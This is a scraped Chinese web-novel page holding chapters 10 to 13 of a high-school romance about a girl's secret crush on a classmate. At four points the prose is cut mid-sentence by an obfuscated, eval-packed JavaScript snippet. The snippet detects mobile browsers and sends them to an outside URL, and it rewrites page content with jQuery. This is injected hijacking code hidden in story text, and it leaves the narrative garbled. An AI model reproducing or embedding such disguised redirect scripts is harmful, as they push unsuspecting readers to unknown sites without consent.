小会议室的门没有关,陈以昭探头看了眼,里面已经坐了十来个学生,各个年级的团支书都在,熟悉的人正在聊天,会议室还挺热闹的,她尽量降低存在感找了个角落,刚坐下,一道清瘦熟悉的身影走了进来,立刻让垂头丧气的陈以昭眼睛一亮。 用笔记本挡着脸,眼睛直直的看着方知韫,见他目光扫视了一下,找了个靠前的位置坐下,拿出笔记本和笔,只留下一个侧脸。 看着意外的惊喜,这个突如其来的会议似乎也没那么糟糕了,陈以昭的目光却总是不受控的飘向那边,看到学姐自然和方知韫打招呼,又隐隐透出羡慕。 会议开始前一个高二的学姐挨个加了大家好友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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音乐外放的声音响起,给嘈杂的车厢增加了另一种氛围,方知韫反应极快,立刻将插孔塞紧,但就在那零点几秒,从手机喇叭泄露出来的歌声依旧穿过人群落在陈以昭的耳中。 “CouldthisbelovethatIfeel……” 歌声只泄露了一句,随着耳机重新插紧而戛然而止。 方知韫蹙了下眉,似乎有些懊恼,显得不太自在,连忙偏过头盯着窗外。 陈以昭的心却因为这句突然闯入耳朵的歌词而猛地一跳,余光看向人侧脸,默默地在心里反复咀嚼着这句歌词: CouldthisbelovethatIfeel… 这是否就是我所感受到的爱…… 车子停在北京路时方知韫起身下车,陈以昭没有动,只是看着他的背影消失在站台,才又绕了很远的距离回家。 陈家鹏难得不用值班加班,一家人有说有笑的吃了晚饭,夫妻俩听着陈以昭这一周在学校的经历,时不时回应几句,伴随着江梅口是心非的吐槽,是她家最为温馨的日常,在爱里长大的孩子,也不会吝啬于自己的爱。 吃完饭陈以昭回到自己房间,想到在公交车上的事,连忙爬起来打开电脑,凭着记忆里那句清晰的旋律和歌词,在搜索引擎和音乐软件上反复尝试、比对,不知道找了多久,一首歌跳了出来: 《CouldThisBeLove》——VictoriaAcosta 当熟悉的前奏和那句清晰的歌词响起时,陈以昭没忍住欢呼出声,就跟推算出一道困扰自己很久的数学题一样开心。 她拉开抽屉翻出自己的日记本,翻到最新一页,在台灯柔和的光线下,郑重地写下: 他喜欢的歌:《CouldThisBeLove》 写完,她用读卡器将这首歌下在内存卡里,又拿出自己的MP3装上内存卡,插上耳机,按下播放键,温柔的女声缓缓流淌进耳中,夜风吹动窗帘,整个夜晚都变得温柔起来。 她双手大开躺在床上,看着头顶的灯,听着这首歌闭上眼,耳边是那首属于他耳机里的秘密旋律。 喜欢一个人,会因为每和他接近一点而感到开心,仿佛拥有了独属于自己和他的微小秘密,带着少女的幻想和微弱的满足。 她又开始期待下一次的相遇了。 陈以昭在这首偷来的歌声中,缓缓沉入了梦乡。 11. 第十一章 开学的小半个月,时间就像指缝的流沙,不经意便悄然溜走,回想起来只有书本和知识。 虽然学习总是枯燥无聊的,可少男少女们的思想却是活跃的,他们的青春的韧性总能在枯燥的缝隙里,挤出一点鲜活的色彩。 比如,下午放学后到晚自习开始前那段短暂的空闲时光,周斐他们几个胆子大的男生,会用教室的多媒体设备,播放事先准备好的电影。 有时候是一部搞笑的喜剧片,或者一部热血动漫番,轻松就能让留下教室里的学生放松,暂时忘却了函数的烦恼和单词的折磨。 偶尔的时候,陈以昭也会被精力十足的乔安澜拉着,混迹在篮球场或操场边,欣赏着体育生的训练,时不时还要点评一番,像极了电视剧里选妃的昏庸皇帝。 乔安澜五官精致,说出的话活像个女流氓,陈以昭被她逗得直笑,偶尔也跟着起哄几句,运气好还能看见和同学来打球的方知韫,她会等他打完球偷偷跟着,然后也去地下铁买一杯薄荷苏打。 5班和1班并不在同一个楼层,如果不是刻意安排,一天能碰见的机率其实很小,所以课间操结束的间隙,也成了陈以昭的有意为之。 实验班的师资水平远高于科创班,授课的知识面也不一样,她也会有耍小心机的时候,抱着物理或数学练习册,走到1班门口探头探脑的呼喊,“杨羡!快帮我看看这题!” 陈以昭的问题有时是真难,有时则带着点“醉翁之意不在酒”的意味,在走廊上,她一边和杨羡讨论,眼角的余光总会下意识看向教室后方那个身影。 方知韫大多数时间都在座位上,有时候在和同桌聊天,有时候在低头看书,当然也会像其他人一样听到搞笑的事笑出声来,偶尔的蹙眉思考,也让神情变得专注起来。 陈以昭性格开朗,又有礼貌不会打扰别人,再加上军训那几天的相处,1班也有人认识她,看她每次来问题,还会笑着打趣,“要我说,下次分班来1班得了。” “行啊,那我努力努力。”陈以昭半开玩笑半认真的回。 然而,这一切落在方知韫眼中,却并未激起太多波澜,他对陈以昭只停留在一个很爱笑的女生,再没有多余的印象,毕竟,他世界壁垒分明,无关紧要的人和事,很难让他花时间记住。 可能是受父母影响,方知韫对自己要求极高,要做,就要做到最好,各种公式单词,复杂的课文理念,总是需要更多的时间去领悟吸收,才能一次次的突破自我得到提升,所以,他总是很忙。 甚至连每天下了晚自习,也会去操场上听着英语单词慢跑几圈,将疲惫和压力都尽数挥洒,直到汗水浸透衣衫。 这天晚上,方知韫跑完步,额发微湿,呼吸急促,喝着水慢慢悠悠往操场到宿舍的僻静小路走去,路过亭子时,一阵压抑带着讨好的女声断断续续地传来。 “爸……我们学校要交资料费,对,是统一要交的,要买练习册,不多,只要300块就好了……” 话还没说完,就被电话里一个男人粗暴的声音打断,即使隔了点距离,也能听出语气里的不耐烦:“又要钱?不是才交了学费吗?读个书怎么这么费钱,你老子都这样了还读什么书!” 电话里响起了一阵噼里啪啦的动静,接着。一个带着浓重乡音女人压低声音说:“小梨,你爸喝多了你别听他的,在学校要好好读书啊,交资料费是吧,妈有!妈明天就想办法给你送过去,你不要担心钱的事,记得好好吃饭……” 声音在这里停止,电话被粗暴地挂断了。 周围瞬间陷入死寂,下一秒,一道压抑到极致的啜泣声在黑夜里响起,一开始就是抽泣,后面再也控制不住变成绝望的痛哭。 借着昏暗的路灯,方知韫看见一个穿着校服的纤细身影蜷缩在亭子的阴影里,小小的一团,她像是受了很大的委屈,肩膀剧烈地耸动着,仿佛要将所有的委屈和无助都哭出来。 他在亭子外几步远的地方停下脚步,看着陷入悲伤的少女,想到刚刚那通满是冰冷现实的电话,原本不喜欢多管闲事的性子,在这个哭声下也有点动容。 沉默了几秒,温和的声音骤然响起,音量不大,却清晰地传入亭中: “我们没办法选择自己的出生,所以,才更应该努力,去选择自己想要的将来。” 语气平静,没有夹杂说教的情绪,只是在陈述一个客观事实。 亭中的哭声戛然而止。 蜷缩着的身影猛地一僵,然后惊惶转过头来,昏暗的灯光打在了温梨还带着泪痕的脸上。 她眼睛红红的,长长的睫毛上沾着细碎的水珠,当看清亭外站着的方知韫时,又一次被同一个人瞧见自己狼狈的模样,也顾不上难过了,窘迫和不自在瞬间淹没了她,脸“腾”地染上了绯色,眼神慌乱得像受惊的小羊,死死咬住下唇。 方知韫也没有想到是上次那个女生,眉头几不可察地蹙了一下,总觉得眼前的少女有一种莫名的熟悉感,下意识开口,“同学……” 温梨像是突然惊醒过来,生怕这人追问她躲在这里哭的原因,看也不敢再看方知韫一眼,攥紧校服下摆,转身像一阵风似的冲出亭子,眨眼就消失不见。 方知韫站在原地,看着温梨仓惶消失的方向,不明白为什么每一次这个女生看见自己,总是一副惊慌失措的模样,他想不明白,最终也只能摇了摇头转身离开。 意外的插曲没有人在意,也没有人知晓,而最关心的陈以昭,正经历着属于她少女暗恋的最大一个挫折。 上次团支书开会后,高二的学姐加了她好友拉了群,说是为了方便以后通知开会,她第一时间翻看群列表,果不其然看到方知韫的名字,头像是一只小狗的简笔画。 陈以昭激动不已,看着那个页面在床上翻来覆去,犹豫了好一会儿才做好心理准备,有些紧张的点开方知韫的Q.Q空间,心跳急促的仿佛要跳出嗓子眼。 就在她满怀期待时,屏幕上跳出的不是方知韫的动态,而是几个冰冷的大字: 主人设置了访问权限 您需要添加对方为好友才能查看其空间内容 少女的期许又再次化为泡沫。 “唉……”陈以昭泄气地靠在墙上,郁闷地用扫帚杆戳了戳地面。 和她一起负责打扫楼梯间张梓熙听到声音,扭头看了眼,没好气问:“你最近怎么了,老是动不动叹气,出什么事了吗?” “没事,”陈以昭拿着扫帚,有一下没一下地扫着台阶的灰尘,情绪低落的回答,“每个月都有这么几天罢了。” 张梓熙跟看傻子一样看着陈以昭,有些无语,“懒得管你,我去拿拖把。” 说完就回教室去了。 人一走陈以昭更是沮丧,又叹了口气,有一下没一下的扫地,正烦躁着呢,楼梯上方忽然传来了几个男生说话的声音和脚步声,越来越近,最终在楼梯口停止,好像只是出来透气的。 “靠,刚刚那个化学题讲的太快了,我笔记都没抄全。” “晚自习再记呗,诶,明天中午去不去打球?” “去啊,18班的约我几次了,这次一定要给他们点颜色瞧瞧,说起18班,前两天他们班班花还向找我打听你呢!老方,你真对人没意思?不会喜欢男的吧?” “对啊,喜欢你啊。”一个声音带着点促狭的笑意回应。 听到这个声音,陈以昭的心猛地一跳,后知后觉反应过来,这个楼梯上去第一间教室就是1班,她下意识地屏住呼吸,身体往楼梯拐角的阴影里缩了缩,安静的听着对话。 刚刚问话的那个男生笑骂了几句,又好奇问,“班花都不看不上,那你喜欢啥类型的?” “卫子尧,要我说你就是肤浅!班花咋了,我喜欢温柔的,说话轻声细语的!”另一个男生起哄的声音响起,立刻引起其他人的回应。 “我喜欢聪明的,最好能和我一起讨论物理题的!” “实不相瞒,我喜欢姐姐,成熟性感。” 轮到方知韫了,短暂的沉默后,他那含笑的声音响起,语气还是有点漫不经心,可仔细听,回答却带着一丝认真的思考:“我?大概,喜欢像绵羊一样乖巧的吧。” “噗——!” “绵羊?方知韫你居然喜欢这一款啊?这和你冷面学霸的形象不符啊。” “哈哈哈哈,一点都看不出来啊。” 几个男生爆发出一阵哄笑和调侃,随即又被其他话题所取代,没待多久就回了教室。 后面的话陈以昭起身没太记得清说了什么,她蹲在楼梯拐角阴影,却感觉自己的心跳在瞬间停止了,低着头看着地上的灰尘,思脑海里的思绪却乱成一团。 他喜欢,乖巧的的女孩? 这个形容让陈以昭郁闷又惊喜,惊喜又多了解了方知韫一点,郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996387|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷自己根本不是他口中像小绵羊一样的女孩,明白这个结论让她的情绪更加低落,几乎握不稳手中的扫帚。 脚步声和谈笑声渐渐远去,楼梯间变得安静无比,陈以昭蹲在地上,夕阳的余晖洒在她背上,还沉浸在刚才那句话带来的巨大冲击里,直到张梓熙拎着拖把过来:“陈以昭,你扫完这边没?我要拖了,” “啊?马上好了。”陈以昭如梦初醒,不再沉浸在自己矫情的悲伤中,赶紧埋头干活,化难过为力量。 打扫结束张梓熙让她先走,刚走到一楼,迎面遇到了那位拉群的高二学姐,抱着一堆东西行色匆匆,要不是陈以昭反应快两人险些撞上。 “陈以昭?太好了,我正愁怎么办就遇到你了,”徐学姐看到她,眼睛一亮,笑了笑说:“我手机坏了,你帮我个忙,通知你们高一各班团支书,让他们问一问班上有没有想入团的学生,如果有,让他们尽快把入团申请书交到团委办公室,最迟下周一放学前,辛苦啦小学妹了。” “保证完成任务,学姐放心。”高二和高一不在一栋教学楼,听到这个请求,陈以昭没有拒绝立刻挺直腰板,笑容灿烂地应下。 回到宿舍后,其他人转身和陈以昭打了招呼后就继续忙自己的事。 陈以昭坐在书桌前,看着手机屏幕上那个简笔小狗头像的Q.Q,发了好一会儿呆,手指悬在“加为好友”的按钮上,迟迟按不下去,内心天人交战,犹豫到掌心都微微出汗。 是直接加?还是……找个借口? 她在心里问着自己。 算了,死马当活马医吧! 最后,她闭上眼深吸一口气,再睁眼时眼神像是要奔赴战场,终于鼓足勇气,咬着牙点下了“加为好友”,心跳急促,呼吸不稳,手指飞快地在验证信息栏里敲打着,力求显得公事公办: 验证消息:同学你好,我是高一(5)班的团支书,学姐手机坏了,让我帮忙传达一下各班入团申请的消息,麻烦通过一下,谢谢! 点击发送! 信息发送成功的提示音响起,全程没有一点多余的操作,甚至不到一分钟,可陈以昭像是耗尽了所有力气,胸口起起伏伏,连额头都出了汗,她把手机屏幕朝下扣在桌面上,放在一边不敢再看。 为了平静下来,陈以昭假装拿出小甘开始背古诗,密密麻麻的却一个也看不进去,反倒是时不时瞥向一旁的手机,不放过任何一点一丝细微的震动。 时间一分一秒过去,无比煎熬。 一直到晚自习,手机除了几条10086的短信,再没有其他动静,坐在闹哄哄的教室里,听着周围同学的嬉笑打闹,陈以昭只觉得人与人的悲欢并不相通, 她趴在课本摊开的桌上,幽幽叹了口气,眼神落在一旁的温梨身上,见这人目光呆滞,坐起身伸手在她眼前挥了挥,“温梨?温梨?” “啊?”温梨突然清醒过来,忙侧头问,“怎么了?” “我还想问你怎么了?心不在焉的。” 温梨没说话,犹豫了好一会儿,才问,“你和1班的方知韫认识吗?” 这话让陈以昭想到了还没通过的好友申请,又趴了回去,闷声说:“不认识啊,你问这个干嘛?” 抿唇笑了笑,温梨摇摇头,“没什么。” 后面两人都埋头学习,直到晚自习结束的铃声响起,手机依然毫无动静。 陈以昭回了寝室洗漱上床,盯着漆黑的天花板,心里的期待一点点瘪了下去。 也许,他没看到? 也许,他看到了,但选择忽略。 挫败感让陈以昭难受,就在她几乎要放弃,准备关掉手机睡觉时。 嗡—— 放在枕头边的手机震动了一下,屏幕随之亮起! 陈以昭的心猛地提到了嗓子眼,她反应极快的抓过手机,点开屏幕,Q.Q图标上出现“1”。 点开。 期待一下午的好友申请通知栏里,赫然显示着: 高一(1)班方知韫已同意你的好友申请 你们现在可以开始聊天了 对方的头像亮着,陈以昭觉得自己快要呼吸不上来,只能眨了眨眼证明不是在做梦。 聊天框里,只有两个简短的两个字: 高一(1)班方知韫:你好 屏幕的微光映着陈以昭骤然睁大的眼睛,和控制不住上扬的嘴角。 12. 第十二章 要说九月末最值得期待的事,一定是即将来临的国庆小长假,本来上学就烦,还是这种每天都待在学校的住校模式,转来转去还是在学校,都没机会呼吸到外面的新鲜空气。 眼看快要放假了,所有人都扳着手指算时间,期待着自由的到来。 才到月底,空气里已经弥漫着一种躁动不安的兴奋,时不时就能听到同学们讨论的声,字里行间满是激动和期盼: “七天,整整七天,我要睡它个昏天黑地,把我这段时间失去的睡眠都夺回来!”周斐闭着眼仰着头张开双臂,仿佛要拥抱整个假期,一副沉醉其中的表情,引得周围一片哄笑。 “没出息,难得放假当然要去海边玩玩了,”张梓熙抱着手抬了抬下巴,“阳光沙滩还有八块腹肌的帅哥,想想都激动,怎么还不放假啊,我已经等不及了。” “还腹肌,小心八块变一块儿。”周斐翻着白眼嗤笑了句。 “周斐!你给我滚啊!”张梓熙咆哮着朝人扑过去。 两人又吵闹起来,你追我赶的互怼。 “国庆人太多了,到处都是人挤人,我就不打算出去凑热闹了,找了个奶茶店的兼职,又能吹空调又能赚钱。”何夕推了推眼镜,一副运筹帷幄的模样。 “不愧是你,一点都不闲着,”岳雪笑着比了个大拇指,扭头看向陈以昭,“陈以昭,你国庆要干啥?” 听见提到自己名字,陈以昭从数学试卷中抬起头来,想了想回:“我吗?我爸妈早就安排好了,我们一家打算去张家界,看阿凡达取景地!” 同学们听到这个回答,立刻激动的说: “张家界的风景超级好看,我暑假刚去回来。” “真的假的,陈以昭你记得多拍点照片,让我们也欣赏欣赏。” “没问题!保证拍一堆!”陈以昭爽快地应承着,和同学们闲聊了几句,又埋头继续研究那道函数题。 坐在陈以昭身旁的温梨一直低着头,也没加入同学们的交谈,手指翻动着书本,整齐的刘海遮住了她的眼睛,让本就文静内敛的她显得更没什么存在感。 “温梨,你呢?放假打算去哪儿玩?”这时,前桌的郭佳佳转过身看向温梨,随口问了一句。 温梨的肩膀几不可察地瑟缩了一下,捏着书页的手指泛白收紧,愣了会儿才抬起头,脸上努力挤出一个很淡的笑容,声音轻得像一阵风,没有思考便脱口而出:“我可能不出去玩,我数学不好,我爸给我报了个国庆的补习班。” 陈以昭拿笔的动作一顿,侧头看了眼身旁的人,并没出声。 察觉到陈以昭的目光,温梨只觉得浑身不自在,感到无地自容,可话说出口再想解释又为时已晚。 “你成绩这么好,还这么努力啊!”这时人群中有人发出感叹。 这话反倒让温梨的笑变得僵硬,她迅速低下头,生怕别人继续追问自己,在同学们那些有意义且充满期待的假期计划之后,她实在无法以一种轻松的语气说出,自己国庆要在烈日下帮妈妈一起在天桥上卖水果的真相。 十六七岁的自尊心,就像夏天的泡沫,轻轻一碰就会碎掉,而温梨的十六岁,满是敏感和自卑。 但大家并没放在心上,又说起了其他话题,这种兴奋一直持续到国庆假期前的最后一堂课,李文民还在例行公事地强调着假期安全和作业要求,老生常谈的说着那些话,众人有气无力的敷衍,可随着下课铃一响,刚刚还没精打采的众人顿时跟打了鸡血一样,活力全开,发出一阵阵的欢呼。 李文民被他们这判若两样的状态气笑了,大手一挥开了鸟笼,早就按耐不住的众人,一窝蜂冲出教室,吆喝声说话声在教学楼每一层响起。 整个教学楼瞬间沸腾,学生们像一群终于挣脱牢笼扑向自由的鸟儿,脸上是压制不住的的喜悦,放假的的热浪,在这一刻席卷了一切。 走廊上满满当当都是人,陈以昭她们懒得去挤索性慢慢来,收拾书包的间隙,郭佳佳眼尖地发现了陈以昭书包拉链上,挂着一个新的小羊挂件,就连钥匙扣上也有一个同款。 “咦?你什么时候喜欢小羊羔了?”郭佳佳伸手用手指拨弄一下那个挂件,好奇问,“啥时候买的,还挺可爱。” 陈以昭心里“咯噔”一下,有点慌乱地想把挂件藏起来,又担心显得多此一举,只能按耐住慌乱的心,低着头装作若无其事说:“上周路过精品店买的,可爱吧。” “可爱是可爱,不过……”郭佳佳歪着头看向陈以昭,语气带着点调侃的笑意,“没想到你也喜欢这种可爱的小动物,我还以为你眼里只有学习呢。” “喂喂喂,好歹我也是女孩子吧。”陈以昭叉着腰没好气说。 “陈以昭,你居然会喜欢这种可爱的东西,”袁今梦探头过来附和,“你这风风火火的性子,怎么看都和小羊不符合吧,完全无法把你和它联想在一块儿。” 本是随口一句玩笑话,却莫名让陈以昭愣了愣,她脸上的笑容微微一滞,低头看着那个毛茸茸的小羊挂件。 因为方知韫说喜欢像小羊一样乖巧温顺的女生,她路过精品店的时候,就下意识地买了这些挂件,好像这样就能更贴近方知韫喜欢的形象,让他喜欢自己。 可是,这样的她还是陈以昭吗? 为了迎合别人的喜好和审美,逼着自己去接受不适合自己的东西,改变自己的风格,那一点点改变后的陈以昭还是陈以昭吗? 需要吗? 有用吗? 应该吗? 这个念头一旦升起,就像藤蔓一样从心口蔓延开,一遍遍的质问,一遍遍的怀疑,陈以昭垂眸看着那个小羊挂件,真实的发现,自己并没有想象的那么喜欢。 “审美是多变的嘛。”她含糊地应着,可事实如何却只有自己知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996388|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了教学楼,郭佳佳她们突然想到有东西没拿准备回寝室一趟,和她们分开后,陈以昭默默地把书包和钥匙扣上的挂件都取了下来,塞进了口袋里。 快到校门口时,突然瞧见一放学就没了人影的温梨,正低着走的飞快,陈以昭犹豫了一下,追了上去。 “温梨!”她叫住她。 温梨停下脚步,有些惊讶地回头,疑惑的问,“昭昭?你怎么还在学校?” “我还问你呢?怎么一眨眼人就不见了。” “回寝室拿了点东西。” 两人并肩朝校门外走去,一路上随便聊聊,快分开时,陈以昭从兜里掏出那两个小羊挂件,递过去,摸了摸鼻子不好意思说:“本来觉得它们可爱才买的,买了发现好像不是那么适合我,送你了。” 温梨睁着圆圆的眼睛,看着面前做工精致,一看就不太便宜的的小羊挂件,虽然有点不明所以,却还是收下轻声说:“谢谢。” “不用,”陈以昭大方的摆了摆手,瞥见远远驶来的的229,着急的说:“我车来了先走了,国庆快乐啊温梨!” 说完挥着手钻入人群,上了公交车。 因为放假的缘故,今天公交车上的人格外多,出校门的时间又比平时晚,不出意外的话和方知韫遇不见,所以陈以昭是在一中这个站上的车。 虽然做好心理准备,可在人群中搜寻了一圈,也没看到那道熟悉的身影,还是有一点失落,索性往里挤了挤,找方知韫喜欢的靠窗的位置靠着扶手,看着窗外飞速倒退的街景。 与此同时,温梨上了56路的公交车,惊讶的发现方知韫也在,他像是和几个同学一起从前面一站上车的,几人站在靠窗的位置说话,好像是要去图书馆买教材,方知韫大多数时候都在听或者玩手机,时不时回应其他人几句。 车子启动,缓缓驶离站台,温梨抿着唇找了个角落站好,可随着上车的人越来越多,在司机师傅的一声声催促里,她不停往里走,等反应过来时,已经到了方知韫面前。 就在这时,公交车拐了个大弯,由于惯性加上车上人员拥挤,不知道是谁撞了温梨一下,她脚步踉跄,眼看快要摔倒的瞬间,一只修长有力的手及时伸出来,稳稳地扶住了她的胳膊。 温梨惊慌失措地抬起头,和方知韫对上了视线,后者没有多余的话,只是很快松开了手,转过身和同学聊天,仿佛只是微不足道的一个插曲。 身后传了一个男生的道歉,温梨笑着摆了摆手,心脏却狂跳的要从嗓子眼蹦出来,只能往后门的方向挪了几步,低着头,努力降低自己存在感。 方知韫的余光落在站在后门,看见女生书包上的小羊挂件,不由想到别扭的单词,亭子里的哭声,还有今天的偶遇。 突然发现,他们似乎…… 还挺有缘? 这个念头在他脑海中一闪而过,随即被车厢的嘈杂淹没。 13. 第十三章 每年的国庆黄金周,不夸张的说都是人,人人,人人人……可对于学生和上班族来说,确实难得可以放松的节日。 陈以昭家为了这次旅游提前准备了许久,虽然陈家鹏不慌不忙,田梅风风火火,陈以昭磨磨蹭蹭,整个旅程转况百出,但还是有惊无险到了目的地。 她是第一次来张家界,虽然猜到了人会很多,可看到这人山人海的景象,还是不由得感叹,三人在摩肩接踵的人群中艰难前行,甚至可以说是被推搡着前进,美景没看到多少,人是彻底看够了。 抛开人太多的问题,张家界的景色确实优美,可又挤又晒的一天下来,陈以昭只觉得疲惫不堪,每天回到酒店,感觉四肢都要退化了,浑身想被车碾过的,只想瘫倒在床上。 躺在松软的被子里,陈以昭拿出手机,班级群里热闹非凡,分享假期的,聊天的,吵架的,应有尽有。 她们的四人小群里,消息也跳个没完,乔安澜晒她姐姐出国给她带的礼物;杨羡则在吐槽参加表姐婚礼遇到的奇葩亲戚;陈以昭也兴致勃勃地分享着拍到的云雾缭绕的山峰照片,温梨倒是一直没说话,她本身就不是分享欲很强的性格,其他三人也早就习惯。 聊了会天,疲惫感消散了不少,陈以昭下意识地点开那个小狗简笔画头像的对话框,聊天记录依旧停留在那句“好的”上面。 她又偷偷点进方知韫的空间,这已经成为她每日必做的事,频率太高为了不留痕迹,她甚至开了黄钻会员,以至于让每次“偷窥”的更加肆无忌惮。 方知韫的空间内容不多,最新的一条动态是昨天发的,没有配文,只有几张新加坡滨海湾花园和环球影城的照片,底下都是各式各样的评论,他一条也没有回。 陈以昭的评论删删减减,最终,所有的勇气都在反复的纠结只留下了一句:拍的真好。 他知道方知韫会无视这条评论,就像无视其他人的一样,即便知道结果是这样,可当屏幕暗下去,还是映出她沮丧的脸。 好在,陈以昭的不开心不会持续太久,她习惯自我调节,总有许多方法让自己从悲伤的情绪中脱离出来,下一秒又哼着歌开始翻起方知韫的空间,看到一组日出的照片,时间显示是暑假得时候拍的。 一个念头闪过,陈以昭有些偷偷摸摸的将图片保存下来,裁剪了一番,换掉了自己从申请Q.Q就没换过的头像,图片加载了会儿,一抹朝阳取代了原本的向日葵,用了很多年的网名也改成了: 偷太阳。 她悄悄从方知韫那里偷了一个太阳,藏在了风里,风一吹,连太阳都在说爱你。 在张家界玩了三天,陈以昭从来没有这么想家过,早早就入睡将这几天的丧失的精气神补回来。 一觉醒来已经是第二天中午了,肚子饿的咕咕叫,可家里一个人也没有,她索性出去在楼下嗦了碗牛肉粉,吃饱喝足才感觉自己活了过来,在路边小卖部买了根小布丁叼在嘴里,慢悠悠往家里走。 才走没几步,手机铃声响起,陈以昭掏出来看也没看就接通,电话那头传来乔安澜兴奋的声音,“在干嘛呢?” “散步。”陈以昭含着小布丁含糊不清的回了句。 “真有闲心,”乔安澜小声嘟囔,“晚上约饭,来吗?” “哪些人?” 乔安澜说了几个名字,都是初中同学,杨羡和温梨没在其中,陈以昭想了想晚上安排,虽然没什么事但还是不确定的回,“到时候看吧。” “成,我把地址发你。” 挂了电话,陈以昭用牙齿咬着雪糕棍,点开Q.Q看了眼,便揣回兜里,懒洋洋的闲逛,她本来不太感兴趣,可待家里确实有点无聊,想了想还是打算去凑个热闹。 地址选在香满园的一个包房,离陈以昭家不算远,她刚到门口就听见里面传来的欢呼声和麻将声,男女都有,估摸着有十个人左右。 前脚推门,后脚方知韫一家就走了进来,恰巧这时端着盘子的服务员路过,不偏不倚的挡在了二人中间,方知韫目不斜视走过,进了隔壁的包房,而陈以昭推开门,里面的声音显得更大,最先看过来的是坐在靠近门边的班长。 他笑着朝陈以昭招了招手,“你终于来了,就差你了,快过来坐。” “我说你会来,他们还不信,”麻将桌前的乔安澜看着牌,连个余光都没分过来,着急说:“等等,我碰一个。” 陈以昭对乔安澜见麻将忘友的行为见怪不怪,扫视了一圈后,就找到乔安澜书包旁边的位置入座,刚坐下右手边的椅子就被人拉开,她侧头看向坐下的人,脸色变得有点尴尬。 坐她右手边的男生叫梁钦,是很多班上都有的那种,调皮捣蛋不爱学习还喜欢拉帮结派的学生,他初中时不是打架就是翘课,和那些鬼火少年不同的就是,梁钦有一张还不错的脸。 不知道是不是所有老师都喜欢搞帮扶小组,好像这样真的可以拉高班级平均分,陈以昭就在班主任安排下帮梁钦补过课。 要说两人有什么矛盾其实也没有,就是初中毕业那天,梁钦给她告白了,平时混不吝的少年脸上的绯色比晚霞还红,那时的陈以昭心中只有对学习的渴望,压根没有对早恋的追求,吓得转头就跑了,要不是今天在这儿遇见,她都快忘记这事了。 气氛变得尴尬,她猛地扭过头,心里默念:没看见我,没看见我。 然而上天没有听到她的祈祷,梁钦出声了,“陈以昭,好久不见。” 陈以昭脸色一僵,随后转过身,带着震惊的表情笑着说:“哎呀,是你啊,我都没注意到,好久不见啊。” 梁钦头发烫过,显得更加帅气,他就这么看着陈以昭,似感觉不到尴尬一样,“你在一中怎么样?还适应吗?” “还行吧。”陈以昭敷衍着。 “我不太适应,”梁钦叹了口气,“我还挺怀念你给我补课的那段日子的。” 陈以昭记得他好像上了所中职,随口客气了句,“都是同学,不用客气。” “你不明白,你对我来说,是不一样的。” 眼见话题又要往自己最不想看的方向走去,陈以昭的表情快撑不住了,正思索自己要不要找借口离开。 梁钦更是趁热打铁,迫不及待说:“陈以昭,一会儿……” “不打了,不打了,我一直输。” “那先吃饭吧。” 梁钦的声音被打麻将的几人打断,众人你一言我一句的入座,将陈以昭从那个尴尬的氛围中解救出来,长长松了口气。 刚坐下的乔安澜看见陈以昭这个表情,又瞥了一眼满脸懊恼的梁钦,作为知情人顿时就明白过来,忙凑过去压低声音问:“不是吧,梁钦还没放弃呢?” 陈以昭瞪了人一眼,好似在说:你怎么不说他也在。 乔安澜一脸无辜的眨眼:我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004903|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚知道他也在。 眼下再追问也没用,陈以昭只能当哑巴,尽量忽视右边那道视线,只有其他人和自己说话的时候才会开口。 她想的挺好吃完饭就随便找个借口拉着乔安澜撤了,谁知道上了个厕所出来,被梁钦堵了正着,故作镇定说:“你也上厕所啊。” “不是,”梁钦没有装傻,而是直接表明态度,“我是在等你。” 陈以昭看了看四周,看到前面有人朝厕所走过来,担心挡路走到一旁,表情变得冷漠起来,“有事吗?” 梁钦看着少女好看的面容,深吸一口气,一鼓作气说:“陈以昭,我喜欢你!” “哦。” 这下轮到梁钦感到茫然,愣了愣问,“没了吗?” “然后呢?”陈以昭体贴的给了反应。 “你能做我女朋友吗?” “不可以。” 陈以昭说完转身就要离开,梁钦有些急了,伸手挡住去路,着急追问,“为什么啊?” “我不喜欢你。”陈以昭抬头一字一句解释。 “我不信,你要是不喜欢我怎么会管我,还给我画重点准备复习资料。” 